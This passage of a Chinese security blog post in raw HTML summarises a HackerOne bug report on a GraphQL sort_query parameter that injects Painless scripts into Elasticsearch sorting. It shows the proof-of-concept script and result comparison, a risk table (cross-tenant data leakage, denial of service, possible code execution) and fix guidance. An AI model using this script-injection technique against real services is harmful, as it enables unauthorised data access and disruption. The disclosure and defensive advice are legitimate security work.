5px;"><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;source&#34;</span></span><span leaf="">: </span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;doc[\&#34;_seq_no\&#34;].value&#34;</span></span></code></pre><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left: 3px solid rgba(0, 0, 0, 0.65);border-right: 1px solid rgba(0, 0, 0, 0.65);background: rgb(249, 249, 249);"><p style="padding-top: 8px;padding-bottom: 8px;font-size: 14px;margin: 0px;color: black;line-height: 26px;"><span leaf="">💡 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">_seq_no</span></code><span leaf=""> 是 Elasticsearch 内部维护的文档写入序列号，随索引时间单调递增。按 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">_seq_no</span></code><span leaf=""> 升序排序，结果应与按内部 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">_id</span></code><span leaf=""> 升序一致。</span></p></blockquote><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><strong style="font-weight: bold;color: black;"><span leaf="">响应对比（前 5 条文档 ID）：</span></strong></p><p data-tool="mdnice 编辑器" style="overflow-x: auto;"><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;font-size: 14px;min-width: 85px;"><p><span leaf="">位置</span></p></th><th style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;font-size: 14px;min-width: 85px;"><p><span leaf="">请求 A (</span><code><span leaf="">&#34;1&#34;</span></code><span leaf="">)</span></p></th><th style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;font-size: 14px;min-width: 85px;"><p><span leaf="">请求 B (</span><code><span leaf="">&#34;_seq_no&#34;</span></code><span leaf="">)</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><p><span leaf="">1</span></p></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><code><span leaf="">451190393</span></code></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><code><span leaf="">404547633</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><p><span leaf="">2</span></p></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><code><span leaf="">433571802</span></code></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><code><span leaf="">408446504</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><p><span leaf="">3</span></p></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><code><span leaf="">444651582</span></code></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><code><span leaf="">416737094</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><p><span leaf="">4</span></p></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><code><span leaf="">444773121</span></code></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><code><span leaf="">417300042</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><p><span leaf="">5</span></p></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><code><span leaf="">445067118</span></code></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><code><span leaf="">417467303</span></code></td></tr></tbody></table></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">🔍 </span><strong style="font-weight: bold;color: black;"><span leaf="">关键发现</span></strong><span leaf="">：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">两次请求返回的文档 ID </span><strong style="font-weight: bold;color: black;"><span leaf="">零重叠</span></strong><span leaf="">。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">请求 B 的顺序与 Step 1 中 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">sort_query: &#39;[{&#34;id&#34;:&#34;asc&#34;}]&#39;</span></code><span leaf=""> 的结果完全一致。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">若 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">_script</span></code><span leaf=""> 被静默丢弃或仅编译不执行，请求 B 应与请求 A 返回相同顺序。</span></p></li></ul><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">✅ </span><strong style="font-weight: bold;color: black;"><span leaf="">最终结论</span></strong><span leaf="">：Painless 脚本不仅在服务端编译成功，且在 Elasticsearch 查询阶段</span><strong style="font-weight: bold;color: black;"><span leaf="">逐文档执行</span></strong><span leaf="">，并真实读取了 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">doc</span></code><span leaf=""> 上下文中的元数据字段。</span></p><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h2 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-size: 22px;text-align: center;font-weight: bold;color: black;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border: 1px solid #000;"><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(rgba(0,0,0,0)),to(rgba(255,255,255,0.1)));"><span leaf="">🔍 为什么这套验证逻辑值得学习？</span></span></h2><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: decimal;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">最小攻击面</span></strong><span leaf="">：仅使用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">&#34;1&#34;</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">&#34;1+1&#34;</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">doc[&#34;_seq_no&#34;].value</span></code><span leaf="">，未调用任何 API、未读取用户字段、未尝试沙箱逃逸。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">差分控制变量</span></strong><span leaf="">：通过“编译失败 vs 成功”、“常量返回 vs 动态字段读取”两组对照，彻底排除中间件拦截或静默丢弃的可能性。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">伦理边界清晰</span></strong><span leaf="">：全程在 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">NotificationsIndex</span></code><span leaf="">（仅含自身 716 条通知）内测试，未触碰跨租户数据、未验证越权路径，符合负责任披露原则。</span></p></li></ol><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h2 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-size: 22px;text-align: center;font-weight: bold;color: black;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border: 1px solid #000;"><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(rgba(0,0,0,0)),to(rgba(255,255,255,0.1)));"><span leaf="">⚠️ 潜在影响与风险边界</span></span></h2><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">作者比较克制，没有宣称已经实现 RCE，而是指出了几个潜在风险：</span></p><p data-tool="mdnice 编辑器" style="overflow-x: auto;"><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;font-size: 14px;min-width: 85px;"><p><span leaf="">风险维度</span></p></th><th style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;font-size: 14px;min-width: 85px;"><p><span leaf="">说明</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><p><span leaf="">🔓 </span><strong style="font-weight: bold;color: black;"><span leaf="">数据泄露</span></strong></p></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><p><span leaf="">ES </span><code><span leaf="">_script</span></code><span leaf=""> 排序发生在 GraphQL Resolver 权限过滤</span><strong style="font-weight: bold;color: black;"><span leaf="">之前</span></strong><span leaf="">。若索引未按租户严格隔离，脚本可读取当前用户无权访问的文档字段。</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><p><span leaf="">💥 </span><strong style="font-weight: bold;color: black;"><span leaf="">拒绝服务（DoS）</span></strong></p></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><p><span leaf="">Painless 脚本逐文档执行。恶意构造死循环、大对象分配或复杂计算，可迅速耗尽共享 ES 集群的 CPU/内存资源。</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><p><span leaf="">🧩 </span><strong style="font-weight: bold;color: black;"><span leaf="">代码执行面</span></strong></p></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><p><span leaf="">Painless 运行在 ES JVM 进程中。尽管官方沙箱限制了文件/网络访问，但历史版本中仍存在绕过案例。一旦结合其他组件漏洞，可能升级为 RCE。</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><p><span leaf="">🌐 </span><strong style="font-weight: bold;color: black;"><span leaf="">影响范围</span></strong></p></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><p><span leaf="">除 </span><code><span leaf="">NotificationsIndex</span></code><span leaf=""> 外，</span><code><span leaf="">DuplicateDetectorReportsIndex</span></code><span leaf="">、</span><code><span leaf="">OpportunitiesIndex</span></code><span leaf="">、</span><code><span leaf="">Organization.findings_search</span></code><span leaf=""> 等多个接口均暴露相同参数，存在横向扩散风险。</span></p></td></tr></tbody></table></p><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h2 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-size: 22px;text-align: center;font-weight: bold;color: black;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border: 1px solid #000;"><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(rgba(0,0,0,0)),to(rgba(255,255,255,0.1)));"><span leaf="">🛡️ 修复建议 &amp; 架构安全指南</span></span></h2><h3 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;background-color: #000;color: #fff;padding: 2px 10px;width: fit-content;font-size: 17px;margin: 60px auto 10px;"><span leaf="">HackerOne 官方建议</span></h3><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: decimal;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">移除 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">sort_query: String</span></code></strong><span leaf="">，改用强类型 GraphQL Input（如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">SortInput</span></code><span leaf="">），在 Schema 层完成字段白名单校验。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">对同类接口进行统一收敛与重构，杜绝自由文本参数直连搜索引擎。</span></p></li></ol><h3 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;background-color: #000;color: #fff;padding: 2px 10px;width: fit-content;font-size: 17px;margin: 60px auto 10px;"><span leaf=""> 给开发者的架构安全建议</span></h3><p data-tool="mdnice 编辑器" style="overflow-x: auto;"><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;font-size: 14px;min-width: 85px;"><p><span leaf="">场景</span></p></th><th style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;font-size: 14px;min-width: 85px;"><p><span leaf="">❌ 错误做法</span></p></th><th style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;font-size: 14px;min-width: 85px;"><p><span leaf="">✅ 正确实践</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><p><span leaf="">GraphQL + ES/DB 查询拼接</span></p></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><code><span leaf="">sort: req.params.sort_query</span></code><p><span leaf="">（直接透传）</span></p></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><p><span leaf="">使用枚举/白名单映射：</span><code><span leaf="">allowedFields = [&#39;id&#39;,&#39;created_at&#39;]</span></code><span leaf="">，校验后动态构建 DSL</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><p><span leaf="">脚本引擎调用</span></p></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><p><span leaf="">允许用户传入 </span><code><span leaf="">script.source</span></code></p></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><p><span leaf="">禁用动态脚本，或强制使用预编译缓存脚本（</span><code><span leaf="">id</span></code><span leaf=""> 引用）+ 严格沙箱策略</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><p><span leaf="">权限过滤时机</span></p></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><p><span leaf="">先排序/聚合，后在 Resolver 层过滤</span></p></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><strong style="font-weight: bold;color: black;"><span leaf="">权限下推</span></strong><p><span leaf="">：在 ES 查询阶段通过 </span><code><span leaf="">terms</span></code><span leaf="">/</span><code><span leaf="">script</span></code><span leaf=""> 注入用户 ID 过滤，确保排序前已隔离数据</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><p><span leaf="">资源防护</span></p></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><p><span leaf="">无限制执行用户脚本</span></p></td><td style="border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-size: 14px;min-width: 85px;"><p><span leaf="">设置 </span><code><span leaf="">max_compilation_memory_limit</span></code><span leaf="">、</span><code><span leaf="">script.max_execution_time</span></code><span leaf="">，并启用集群监控告警</span></p></td></tr></tbody></table></p><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h2 data-tool="mdnice 编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-size: 22px;text-align: center;font-weight: bold;color: black;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border: 1px solid #000;"><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(rgba(0,0,0,0)),to(rgba(255,255,255,0.1)));"><span leaf="">安全无小事，平台自身也需“打补丁”</span></span></h2><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">HackerOne 作为全球漏洞赏金领域的标杆，此次被“自家平台”挖出高危漏洞，再次印证了一个道理：</span><strong style="font-weight: bold;color: black;"><span leaf="">安全不是护城河，而是持续迭代的工程实践。</span></strong><span leaf=""> 研究员克制、严谨的验证方式也为我们树立了白帽典范：证明漏洞存在即可，不越界、不破坏、不滥用。</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">对于正在使用 GraphQL + Elasticsearch 架构的团队，建议立即排查：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">是否存在 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">String</span></code><span leaf=""> 类型参数直接拼接至搜索 DSL？</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">是否开放了 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">_script</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">aggs.script</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: #ff6441;"><span leaf="">highlight.fields</span></code><span leaf=""> 等动态字段？</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">权限过滤是否真正发生在数据检索的最底层？</span></p></li></ul><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">安全架构的最后一道防线，往往藏在最不起眼的参数校验里。</span></p><span style="word-spacing: 0px;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;line-height: 26px;color: black;font-size: 14px;" data-pm-slice="0 0 []"><span leaf="">原始报告：</span></span><span leaf="" style="word-spacing: 0px;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;line-height: 26px;color: black;font-size: 14px;">HackerOne Report #3694007</span></div><p style="text-align: center;" data-pm-slice="2 2 []"><span leaf="">如果你是一个长期主义者，欢迎加入我的知识星球，本星球日日更新,包含号主大量一线实战,全网独一无二，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款</span></p><p style="text-align: center;" data-pm-slice="2 2 []"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012574" data-ratio="0.5493333333333333" data-s="300,640" data-w="750" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=033161f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYmmVSe19Qj5EMr3X76qdKBrhIIkBlVVyuiaiasseFZ9LqtibyKFk7gXvgTU2C2yEwKLaaqfX0DL3eoH6gTcNLJvDQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p><span style="box-sizing: border-box;text-align: center;display: inline-block;height: 38px;line-height: 42px;color: rgb(72, 179, 120);background-position: left center;background-repeat: no-repeat;background-attachment: initial;background-origin: initial;background-clip: initial;background-size: 63px;margin-top: 38px;font-size: 18px;margin-bottom: 10px;"><span leaf="">往期回顾</span></span></p><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497813&amp;idx=1&amp;sn=c778ad6a4bffd7a0a72a900144ea90ca&amp;scene=21#wechat_redirect" textvalue="如何利用ai辅助挖漏洞" data-itemshowtype="0" linktype="text" data-linktype="2">如何利用ai辅助挖漏洞</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497880&amp;idx=1&amp;sn=b9b980464333074216b55ea94c8a743a&amp;scene=21#wechat_redirect" textvalue="如何在移动端抓包-下" data-itemshowtype="0" linktype="text" data-linktype="2">如何在移动端抓包-下</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;h1&#34;,&#34;attributes&#34;:{&#34;id&#34;:&#34;activity-name&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497491&amp;idx=1&amp;sn=a1b00b9a8a54eb96aa3ba8bf23cb7e28&amp;scene=21#wechat_redirect" textvalue="如何绕过签名校验" data-itemshowtype="0" linktype="text" data-linktype="2">如何绕过签名校验</a></span></h1><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495880&amp;idx=1&amp;sn=65d42fbff5e198509e55072674ac5283&amp;chksm=e8a5faabdfd273bd55df8f7db3d644d3102d7382020234741e37ca29e963eace13dd17fcabdd&amp;scene=21#wechat_redirect" textvalue="一款bp神器" data-itemshowtype="0" linktype="text" data-linktype="2">一款bp神器</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496898&amp;idx=1&amp;sn=b6088e20a8b4fc9fbd887b900d8c5247&amp;scene=21#wechat_redirect" textvalue="挖掘有回显ssrf的隐藏payload" data-itemshowtype="0" linktype="text" data-linktype="2">挖掘有回显ssrf的隐藏payload</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495841&amp;idx=1&amp;sn=bbf477afa30391b8072d23469645d026&amp;chksm=e8a5fac2dfd273d42344f18c7c6f0f7a158cca94041c4c4db330c3adf2d1f77f062dcaf6c5e0&amp;scene=21#wechat_redirect" textvalue="ssrf绕过新思路" data-itemshowtype="0" linktype="text" data-linktype="2">ssrf绕过新思路</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496380&amp;idx=1&amp;sn=78c0c4c67821f5ecbe4f3947b567eeec&amp;chksm=e8a5f8dfdfd271c935aeb4444ea7e928c55cb4c823c51f1067f267699d71a1aad086cf203b99&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">一个辅助测试ssrf的工具</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247488819&amp;idx=1&amp;sn=5141f88f3e70b9c97e63a4b68689bf6e&amp;chksm=e8a61f50dfd1964692f93412f122087ac160b743b4532ee0c1e42a83039de62825ebbd066a1e&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">dom-xss精选文章</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487187&amp;idx=1&amp;sn=622438ee6492e4c639ebd8500384ab2f&amp;chksm=e8a604b0dfd18da6c459b4705abd520cc2259a607dd9306915d845c1965224cc117207fc6236&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">年度精选文章</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487122&amp;idx=1&amp;sn=32459310408d126aa43240673b8b0846&amp;chksm=e8a604f1dfd18de737769dd512ad4063a3da328117b8a98c4ca9bc5b48af4dcfa397c667f4e3&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">Nuclei权威指南-如何躺赚</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" 